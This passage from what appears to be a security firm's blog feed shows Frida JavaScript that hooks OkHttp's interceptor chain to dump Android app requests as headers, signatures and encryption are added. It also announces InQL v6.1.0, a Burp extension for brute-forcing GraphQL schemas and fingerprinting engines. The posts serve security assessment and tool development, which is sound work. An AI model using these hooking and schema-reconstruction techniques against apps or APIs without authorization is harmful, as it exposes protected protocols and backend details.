&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Chain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;proceed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ovs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Chain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;proceed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;overloads&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ovs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;proceed_overload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ovs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[*] Hooking RealInterceptorChain.proceed overload: &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;proceed_overload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argumentTypes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;className&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;proceed_overload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;implementation&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;// implementation override here&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[+] Hooked RealInterceptorChain.proceed(*)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;[-] RealInterceptorChain.proceed not found (unexpected)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To understand the code inside the implementation, we need to understand how the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;proceed&lt;/code&gt; functions work. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RealInterceptorChain&lt;/code&gt; function maintains the entire chain. When &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;proceed&lt;/code&gt; is called by the library (or previous &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Interceptor&lt;/code&gt;) the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this.index&lt;/code&gt; value is incremented and the next &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Interceptor&lt;/code&gt; is taken from the collection and applied to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Request&lt;/code&gt;. Therefore, at the moment of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;proceed&lt;/code&gt; call, we have a state of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Request&lt;/code&gt; that is the result of a previous &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Interceptor&lt;/code&gt; call. So, in order to properly assign &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Request&lt;/code&gt; states to proper &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Interceptors&lt;/code&gt;, we’ll need to take a name of an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Interceptor&lt;/code&gt; number &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;index - 1&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;proceed_overload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;implementation&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// First arg is Request in all proceed overloads.&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Get current index&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;idx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Get previous interceptor name &lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Previous interceptor is the one responsible for the current req state&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;interceptorName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;idx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;interceptorName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Original request&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;interceptorName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Interceptor &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;interceptors&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;idx&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getClass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;().&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;dumpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;interceptorName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// Call the actual proceed&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;proceed_overload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;apply&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arguments&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The example result will look similar to the following:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[*] Hooking RealInterceptorChain.proceed overload: OkHttp3.Request
[+] Hooked RealInterceptorChain.proceed(*)
[+] Hooked OkHttp3.Interceptor.intercept(Chain)
[*] RealCall hooks installed.
[CPH2691::PID::19185 ]-&amp;gt;
=== RealCall.enqueue() ===
method: POST
url: https://tellico.fun/endpoint
-- headers --
-- body meta --
contentType: application/json; charset=utf-8
contentLength: 60
-- body (utf8) --
{
  &quot;hello&quot;: &quot;world&quot;,
  &quot;poc&quot;: true,
  &quot;ts&quot;: 1768677868986
}
=== END ===


=== Original request ===
method: POST
url: https://tellico.fun/endpoint
-- headers --
-- body meta --
contentType: application/json; charset=utf-8
contentLength: 60
-- body (utf8) --
{
  &quot;hello&quot;: &quot;world&quot;,
  &quot;poc&quot;: true,
  &quot;ts&quot;: 1768677868986
}
=== END ===


=== Interceptor com.doyensec.myapplication.MainActivity$HeaderInterceptor ===
method: POST
url: https://tellico.fun/endpoint
-- headers --
X-PoC: frida-test
X-Device: android
Content-Type: application/json
-- body meta --
contentType: application/json; charset=utf-8
contentLength: 60
-- body (utf8) --
{
  &quot;hello&quot;: &quot;world&quot;,
  &quot;poc&quot;: true,
  &quot;ts&quot;: 1768677868986
}
=== END ===


=== Interceptor com.doyensec.myapplication.MainActivity$SignatureInterceptor ===
method: POST
url: https://tellico.fun/endpoint
-- headers --
X-PoC: frida-test
X-Device: android
Content-Type: application/json
X-Signature: 736c014442c5eebe822c1e2ecdb97c5d
-- body meta --
contentType: application/json; charset=utf-8
contentLength: 60
-- body (utf8) --
{
  &quot;hello&quot;: &quot;world&quot;,
  &quot;poc&quot;: true,
  &quot;ts&quot;: 1768677868986
}
=== END ===


=== Interceptor com.doyensec.myapplication.MainActivity$EncryptBodyInterceptor ===
method: POST
url: https://tellico.fun/endpoint
-- headers --
X-PoC: frida-test
X-Device: android
Content-Type: application/json
X-Signature: 736c014442c5eebe822c1e2ecdb97c5d
X-Content-Encryption: AES-256-GCM
X-Content-Format: base64(iv+ciphertext+tag)
-- body meta --
contentType: application/octet-stream
contentLength: 120
-- body (utf8) --
YIREhdesuf1VdvxeCO+H/8/N8NYFJ2r5Jk4Im40fjyzVI2rzufpejFOHQ67hkL8UFdniknpABmjoP73F2Z4Vbz3sPAxOp7ZXaz5jWLlk3T6B5sm2QCAjKA==
=== END ===

...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With such output we can easily observe the consecutive mutations of the request: the initial payload, the custom headers being added, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;X-Signature&lt;/code&gt; being added and finally, the payload encryption. With the proper Interceptor names an analyst also receives strong signals as to which classes to target in order to reverse-engineer these operations.&lt;/p&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;In this post we walked through a practical approach to dynamically intercept OkHttp traffic using Frida.&lt;/p&gt;

&lt;p&gt;We started by instrumenting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RealCall.execute()&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RealCall.enqueue()&lt;/code&gt;, which gives quick visibility into endpoints and plaintext request bodies. While useful, this approach quickly falls short once applications rely on OkHttp interceptors to add authentication headers, calculate signatures, or encrypt payloads.&lt;/p&gt;

&lt;p&gt;By moving one level deeper and hooking &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RealInterceptorChain.proceed()&lt;/code&gt;, we were able to observe the request as it evolves through each interceptor in the chain. This allowed us to reconstruct the full application protocol step by step - from the original JSON payload, through header enrichment and signing, then all the way to the final encrypted body sent over the wire.&lt;/p&gt;

&lt;p&gt;This technique is especially useful during security assessments, where understanding &lt;em&gt;how&lt;/em&gt; a request is built is often more important than simply seeing the final bytes on the network. Mapping concrete request mutations back to specific interceptor classes also provides clear entry points for reverse-engineering custom cryptography, signatures, or authorization logic.&lt;/p&gt;

&lt;p&gt;In short, when dealing with modern Android applications, intercepting OkHttp at a single point is rarely sufficient. Combining multiple injection points — and in particular leveraging the interceptor chain — provides the visibility needed to fully understand and manipulate application-level protocols.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>InQL v6.1.0 Just Landed with New Features and Contribution Swag! 🚀</title>
   <link href="https://blog.doyensec.com/2025/12/02/inql-v610.html"/>
   <updated>2025-12-02T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2025/12/02/inql-v610</id>
   <content type="html">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;We are excited to announce a new release of our Burp Suite Extension - &lt;a href=&quot;https://github.com/doyensec/inql&quot;&gt;InQL v6.1.0&lt;/a&gt;! The complete re-write from Jython to Kotlin in our previous update (&lt;a href=&quot;https://github.com/doyensec/inql/releases/tag/v6.0.0&quot;&gt;v6.0.0&lt;/a&gt;) laid the groundwork for us to start implementing powerful new features, and this update delivers the first exciting batch.&lt;/p&gt;

&lt;p&gt;This new version introduces key features like our new &lt;strong&gt;GraphQL schema brute-forcer&lt;/strong&gt; (which abuses “did you mean…” suggestions), &lt;strong&gt;server engine fingerprinter&lt;/strong&gt;, &lt;strong&gt;automatic variable generation&lt;/strong&gt; when sending requests to Repeater/Intruder, and various other quality-of-life and performance improvements.&lt;/p&gt;

&lt;h2 id=&quot;key-new-features&quot;&gt;Key New Features&lt;/h2&gt;

&lt;h3 id=&quot;the-graphql-schema-brute-forcer&quot;&gt;The GraphQL Schema Brute-Forcer&lt;/h3&gt;

&lt;p&gt;Until now, InQL was most helpful when a server had introspection enabled or when you already had the GraphQL schema file. With v6.1.0, the tool can now attempt to reconstruct the backend schema by abusing the “did you mean…” suggestions supported by many GraphQL server implementations.&lt;/p&gt;

&lt;p&gt;This feature was inspired by the excellent &lt;a href=&quot;https://github.com/nikitastupin/clairvoyance&quot;&gt;Clairvoyance CLI tool&lt;/a&gt;. We implemented a similar algorithm, also based on regular expressions and batch queries. Building this directly into InQL brings it one step closer to being the all-in-one Swiss Army knife for GraphQL security testing, allowing researchers to access every tool they need in one place.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How It Works&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When InQL fails to fetch a schema because introspection is disabled, you can now choose to “Launch schema bruteforcer”. The tool will then start sending hundreds of batched queries containing field and argument names guessed from a wordlist.&lt;/p&gt;

&lt;p&gt;InQL then analyzes the server’s error messages, by looking for specific errors like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Argument 'contribution' is required&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Field 'bugs' not found on type 'inql'&lt;/code&gt;. It also parses helpful suggestions, such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Did you mean 'openPR'?&lt;/code&gt;, which rapidly speeds up discovery. At the same time, it probes the types of found fields and arguments (like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;String&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[Episode!]&lt;/code&gt;) by intentionally triggering type-specific error messages.&lt;/p&gt;

&lt;p&gt;This process repeats until the entire reachable schema is mapped out. The result is a reconstructed schema, built piece-by-piece from the server’s own validation feedback. All without introspection.&lt;/p&gt;

&lt;p&gt;Be aware that the scan can take time. Depending on the schema’s complexity, server rate-limiting, and the wordlist size, a full reconstruction can take anywhere from a few minutes to several hours. We recommend visiting the InQL settings tab to properly set up the scan for your specific target.&lt;/p&gt;

&lt;video controls=&quot;&quot; preload=&quot;auto&quot; width=&quot;100%&quot; height=&quot;100%&quot; poster=&quot;../../../public/images/inql_bruteforcer.png&quot;&gt;
    &lt;source src=&quot;../../../public/images/inql_bruteforcer.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Your browser does not support the video tag.
&lt;/video&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h3 id=&quot;the-graphql-server-engine-fingerprinter&quot;&gt;The GraphQL Server Engine Fingerprinter&lt;/h3&gt;

&lt;p&gt;The new version of InQL is now able to fingerprint the GraphQL engine used by the back-end server. Each GraphQL engine implements slightly different security protections and insecure defaults, opening door for abusing unique, engine-specific attack vectors.&lt;/p&gt;

&lt;p&gt;The fingerprinted engine can be looked up in the &lt;a href=&quot;https://github.com/nicholasaleks/graphql-threat-matrix&quot;&gt;GraphQL Threat Matrix&lt;/a&gt; by &lt;a href=&quot;https://github.com/nicholasaleks&quot;&gt;Nick Aleks&lt;/a&gt;. The matrix is a fantastic resource for confirming which implementation may be vulnerable to specific GraphQL threats.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How It Works&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Similarly to the &lt;a href=&quot;https://github.com/dolevf/graphw00f&quot;&gt;graphw00f CLI tool&lt;/a&gt;, InQL sends a series of specific GraphQL queries to the target server and observes how it responds. It can differentiate the specific engines by analyzing the unique nuances in their error messages and responses.&lt;/p&gt;

&lt;p&gt;For example, for the following query:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;query @deprecated {
    __typename
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;An &lt;strong&gt;Apollo&lt;/strong&gt; server typically responds with an error message stating &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Directive \&quot;@deprecated\&quot; may not be used on QUERY.&lt;/code&gt;. However, a &lt;strong&gt;GraphQL Ruby&lt;/strong&gt; server, will respond with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;'@deprecated' can't be applied to queries&lt;/code&gt; message.&lt;/p&gt;

&lt;p&gt;When InQL successfully fingerprints the engine, it displays details about its implementation right in the UI, based on data from the &lt;a href=&quot;https://github.com/nicholasaleks/graphql-threat-matrix&quot;&gt;GraphQL Threat Matrix&lt;/a&gt;.&lt;/p&gt;

&lt;video controls=&quot;&quot; preload=&quot;auto&quot; width=&quot;100%&quot; height=&quot;100%&quot; poster=&quot;../../../public/images/inql_fingerprinter.png&quot;&gt;
    &lt;source src=&quot;../../../public/images/inql_fingerprinter.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Your browser does not support the video tag.
&lt;/video&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h3 id=&quot;automatic-variable-generation-default-values&quot;&gt;Automatic Variable Generation (Default Values)&lt;/h3&gt;

&lt;p&gt;While previous InQL versions were great for analyzing schemas, finding circular references, and identifying points-of-interest, actually crafting a valid query could be frustrating. The tool didn’t handle variables, forcing you to fill them in manually. The new release finally fixes that pain point.&lt;/p&gt;

&lt;p&gt;Now, when you use “Send to Repeater” or “Send to Intruder” on a query that requires variables (like a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;search&lt;/code&gt; argument of type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;String&lt;/code&gt;), InQL will automatically populate the request with placeholder values. This simple change significantly improves the speed and flow of testing GraphQL APIs.&lt;/p&gt;

&lt;p&gt;Here are the default values InQL will now use:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;String&quot; -&amp;gt; &quot;exampleString&quot;
&quot;Int&quot; -&amp;gt; 42
&quot;Float&quot; -&amp;gt; 3.14
&quot;Boolean&quot; -&amp;gt; true
&quot;ID&quot; -&amp;gt; &quot;123&quot;
ENUM -&amp;gt; First value
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;usability-and-performance-improvements&quot;&gt;Usability and Performance Improvements&lt;/h3&gt;

&lt;p&gt;We also implemented various usability and performance improvements. These changes include:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Search inside the InQL Scanner tab, and in the Repeater/Intruder&lt;/li&gt;
  &lt;li&gt;Improved POI Regex matching&lt;/li&gt;
  &lt;li&gt;Improved caching for better performance&lt;/li&gt;
  &lt;li&gt;Added a delayed POI and cycle detection to improve the schema parsing speed&lt;/li&gt;
  &lt;li&gt;Various bugs and UI fixes&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;join-the-inql-community-and-get-swag&quot;&gt;Join the InQL Community (And Get Swag!)&lt;/h2&gt;

&lt;p&gt;InQL is an open-source project, and we welcome every contribution. We want to take this opportunity to thank the community for all the support, bug reports, and feedback we’ve received so far!&lt;/p&gt;

&lt;p&gt;With this new release, &lt;strong&gt;we’re excited to announce a new initiative to reward contributors&lt;/strong&gt;. To show our appreciation, we’ll be sending exclusive Doyensec swag and/or gift cards to community members who fix issues or create new features.&lt;/p&gt;

&lt;p&gt;To make contributing easy, make sure to read the project’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;README.md&lt;/code&gt; file and review the existing &lt;a href=&quot;https://github.com/doyensec/inql/issues&quot;&gt;issues on GitHub&lt;/a&gt;. We encourage you to start with tasks labeled &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Good First Issue&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Help Wanted&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Some of the good first issues we would like to see your contribution for:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/inql/issues/124&quot;&gt;Add functionality to send GraphQL requests in non-standard formats #124&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/inql/issues/113&quot;&gt;Customizable input arguments values #113&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/inql/issues/169&quot;&gt;Add export to JSON / CSV #169&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/inql/issues/68&quot;&gt;Search across InQL Scanner tab #68&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/inql/issues/170&quot;&gt;Track the GraphQL operations from the Burp History (when introspection is not enabled) #170&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you have an idea for a new feature or have found a bug, please open a new issue to discuss it before you start building. This helps everyone get on the same page.&lt;/p&gt;

&lt;p&gt;We can’t wait to see your pull requests!&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;As we’ve mentioned, we are extremely excited about this new release and the direction InQL is heading. We hope to see more contributions from the ever-growing cybersecurity community and can’t wait to see what the future brings!&lt;/p&gt;

&lt;p&gt;Remember to update to the latest version and check out our &lt;a href=&quot;https://github.com/doyensec/inql&quot;&gt;InQL page on GitHub&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Happy Hacking!&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>ksmbd - Exploiting CVE-2025-37947 (3/3)</title>
   <link href="https://blog.doyensec.com/2025/10/08/ksmbd-3.html"/>
   <updated>2025-10-08T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2025/10/08/ksmbd-3</id>
